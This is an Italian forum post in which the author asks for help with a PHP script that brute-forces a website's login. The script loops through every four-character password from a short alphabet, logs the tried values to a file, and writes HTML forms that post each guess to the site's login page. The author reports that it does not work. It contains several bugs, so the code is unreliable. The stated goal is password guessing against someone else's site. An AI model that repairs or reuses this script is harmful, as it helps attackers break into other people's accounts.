ciao,

io vorrei invia i dati di login dal mio form a quello di un sito(simile a un brute force), per fare questo io ho provato cosi:


<?php
$handle = fopen("program.txt", "a+");

$sito='www.sito.it';
$port=80;
$page='/login.php';
if (!($fp=fsockopen($sito,$port)))
die ("Impossibile collegarsi al sito\n");
set_time_limit(5);
$string=" abcdefghilmnopqrstuvz";
for($a=0; $a<=strlen($string); $a++) {
for($b=0; $b<=strlen($string); $b++) {
for($c=0; $c<=strlen($string); $c++) {
for($d=0; $d<=strlen($string); $d++) {
$s=$string{$a}.$string{$b}.$string{$c}.$string{$d} ."\n \r";
$gfg=$string{$a}.$string{$b}.$string{$c}.$string{$ d}."";
$search="-$gfg-";






echo'<script language="javascript">';


$buffer_size = strlen($search);
// optimized solution
// $buffer_size = max(strlen($search), 8192);

$found = false;
$content = '';
$prev_token = '';
while (!feof($handle)) {

$token = fread($handle, $buffer_size);
$content = $prev_token . $token;
$prev_token = $token;

if (strpos($content, $search) !== false) {
$found = true;
break;
}
}

if ($found === true) {
echo"aa";} else {

$fr="-$gfg-";
echo"</script>";

$fr="-$gfg-";
fwrite($handle,$fr);
echo"<form action='http://www.sito.it/login.php' name='snd' method='post'>";
echo"<input class='fm fm110' type='text' maxlength='15' value='nome utente' name='eb66be1'/>";
$query_string="nomevoce=$i";
$len=strlen($query_string);
echo"<input class='fm fm110' type='password' maxlength='30' value='$s' name='e67efdd'/>";
echo"<script language='JavaScript'>
function invio(){
document.send.submit()
}
</script>
";
}
}
}
}
}

fclose($fp);
fclose($handle);
?>


ma a quanto pare non funziona, non solo non effettua il login ma quando riapro la pagina mi si blocca firefox invece di ripartire da dove č salvato

qualcuno di voi sā aiutarmi?
grazie in anticipo.